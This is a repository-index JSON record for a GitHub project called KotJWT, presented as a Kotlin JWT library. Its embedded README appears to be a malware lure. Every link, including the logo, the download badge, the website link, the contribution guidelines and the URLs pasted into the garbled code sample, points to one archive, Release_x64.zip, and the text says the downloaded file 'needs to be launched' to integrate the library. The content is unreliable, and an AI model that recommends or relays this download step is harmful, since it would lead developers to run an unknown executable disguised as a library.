{"id":24623284,"url":"https://github.com/privatedocs-1/kotjwt","last_synced_at":"2025-03-19T03:16:45.932Z","repository":{"id":272076846,"uuid":"915454378","full_name":"Privatedocs-1/KotJWT","owner":"Privatedocs-1","description":"A lightweight Kotlin library for encoding, decoding, and validating JWT and refresh tokens using HMAC SHA-256.","archived":false,"fork":false,"pushed_at":"2025-03-16T03:19:46.000Z","size":1,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-16T03:20:32.969Z","etag":null,"topics":["api","authentication","cyrptography","hmac-sha256","jwt","jwt-authentication","jwt-library","jwt-token","kotlin","kotlin-library","security","token"],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Privatedocs-1.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-01-11T22:07:54.000Z","updated_at":"2025-03-16T03:19:49.000Z","dependencies_parsed_at":"2025-02-09T01:19:36.871Z","dependency_job_id":"f6775363-ea67-4079-9094-2d230e320710","html_url":"https://github.com/Privatedocs-1/KotJWT","commit_stats":null,"previous_names":["privatedocs-1/kotjwt"],"tags_count":2,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Privatedocs-1%2FKotJWT","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Privatedocs-1%2FKotJWT/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Privatedocs-1%2FKotJWT/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Privatedocs-1%2FKotJWT/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Privatedocs-1","download_url":"https://codeload.github.com/Privatedocs-1/KotJWT/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244345090,"owners_count":20438241,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["api","authentication","cyrptography","hmac-sha256","jwt","jwt-authentication","jwt-library","jwt-token","kotlin","kotlin-library","security","token"],"created_at":"2025-01-25T03:57:28.580Z","updated_at":"2025-03-19T03:16:45.924Z","avatar_url":"https://github.com/Privatedocs-1.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# KotJWT\n\nWelcome to KotJWT - a lightweight Kotlin library for encoding, decoding, and validating JWT and refresh tokens using HMAC SHA-256.\n\n![KotJWT Logo](https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip)\n\n## Features\n\n🔒 Encode and decode JWT tokens  \n🛡️ Validate JWT and refresh tokens  \n🔑 Use HMAC SHA-256 for secure cryptography  \n⚙️ Easy integration with Kotlin applications  \n\n## Installation\n\nTo get started with KotJWT, you can download the library from the following link:\n\n[![Download KotJWT Library](https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip\u003cCOLOR\u003e.svg)](https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip)\n\nPlease note that the downloaded file needs to be launched to integrate the library into your Kotlin project.\n\n## Usage\n\nHere's a quick guide on how to use KotJWT in your Kotlin application:\n\n1. Add the KotJWT library to your project.\n2. Import the necessary classes in your Kotlin files.\n3. Use the provided functions to encode, decode, and validate JWT and refresh tokens.\n\n```kotlin\n// Sample code snippet using KotJWT\nimport https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip\n\nval kotJWT = KotJWT()\n\nval token = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(payload)\nval decodedPayload = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(token)\nval isValid = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(token)\n```\n\nFor more detailed usage examples and documentation, please visit the [official KotJWT website](https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip).\n\n## Repository Topics\n\n- ['api', 'authentication', 'cryptography', 'hmac-sha256', 'jwt', 'jwt-authentication', 'jwt-library', 'jwt-token', 'kotlin', 'kotlin-library', 'security', 'token']\n\n## Contributing\n\nContributions to KotJWT are welcome! If you have any ideas for improvements or new features, feel free to submit a pull request. Make sure to follow the [contribution guidelines](https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip) before making any changes.\n\n## License\n\nKotJWT is licensed under the MIT License. For more information, please refer to the [LICENSE](LICENSE) file in this repository.\n\n---\n\nThank you for choosing KotJWT for your JWT encoding, decoding, and validation needs! If you encounter any issues or have any questions, please check the \"Releases\" section for updates or reach out to the KotJWT community for support. Happy coding with KotJWT! 🚀","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fprivatedocs-1%2Fkotjwt","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fprivatedocs-1%2Fkotjwt","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fprivatedocs-1%2Fkotjwt/lists"}